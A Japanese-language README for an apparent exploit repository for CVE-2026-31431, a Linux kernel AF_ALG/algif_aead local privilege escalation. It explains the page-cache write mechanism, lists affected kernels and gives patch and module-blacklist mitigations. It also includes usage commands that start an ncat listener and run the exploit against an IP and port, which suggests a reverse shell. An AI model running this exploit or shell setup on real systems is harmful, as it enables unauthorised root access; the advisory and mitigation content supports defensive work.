
CVE-2026-31431 のローカル権限昇格エクスプロイト。Linux カーネルの AF_ALG ロジック欠陥により、非特権ユーザーがページキャッシュに 4 バイトを書き込み、root を取得できる。PoC スクリプトと緩和策のガイダンスを含む。
Copy Fail は、Linuxカーネルの暗号サブシステム(algif_aead)における深刻度の高いローカル権限昇格(LPE)脆弱性です。Theori(同社のAI支援脆弱性調査ツール Xint Code 経由)により 2026年4月29日 に発見・公開されました。この欠陥により、権限のないローカルユーザーは読み取り可能な任意のファイルのページキャッシュに4バイトの制御データを書き込むことができ、2017年以降に出荷されたほぼすべての主要なLinuxディストリビューションで root 権限を取得できます。
動作する概念実証エクスプロイトはわずか 約732バイトのPython です。
sudo ncat -lvnp PORT
# Pythonスクリプトを使用
python3 CVE-2026-31431-Exploit.py IP PORT
# コンパイル済みバイナリ
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-31431 |
| CVSSスコア | 7.8(HIGH) |
| タイプ | ローカル権限昇格(LPE) |
| コンポーネント | algif_aead — LinuxカーネルAF_ALGユーザースペース暗号インターフェース |
| 根本原因 | authencesn AEADテンプレートの論理欠陥。インプレース最適化(コミット 72548b093ee3、2017年8月)により、ページキャッシュページがカーネルの書き込み可能な宛先scatterlistに現れる |
| プリミティブ | 読み取り可能な任意のファイルのページキャッシュへの4バイト制御書き込み |
| エクスプロイト機構 | AF_ALGソケット → splice() → setuidバイナリのページキャッシュ破損 → root |
| 競合状態? | ❌ なし — 直線的な論理欠陥、100%信頼性 |
| カーネルオフセット必要? | ❌ 不要 |
| 修正コミット | fafe0fa2995a(2017年の最適化をリバート) |
AF_ALG ソケットを開き、authencesn(hmac(sha256),cbc(aes)) にバインド| 影響あり | 影響なし |
|---|---|
| Linuxカーネル 4.14 から 7.0-rc | 4.14より前のカーネル(2017年8月のコミット以前) |
| 6.18.22 より前のすべての 6.18.x | 6.18.22+(パッチ適用済み) |
| 6.19.12 より前のすべての 6.19.x | 6.19.12+(パッチ適用済み) |
実質的に 2017年以降にリリースされたすべての主要なLinuxディストリビューション が影響を受けます。
修正コミット fafe0fa2995a を含むバージョンにカーネルを更新してください。ほとんどの主要ディストリビューションが更新済みカーネルパッケージをリリース済み、またはリリース中です。
すぐにパッチを適用できない場合:
algif_aead モジュールをブラックリスト化:
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
このリポジトリは 教育および防御目的のみ です。ここに記載された情報は、セキュリティチームがCVE-2026-31431を理解、検出、緩和するためのものです。常に責任ある開示慣行と適用される法律に従ってください。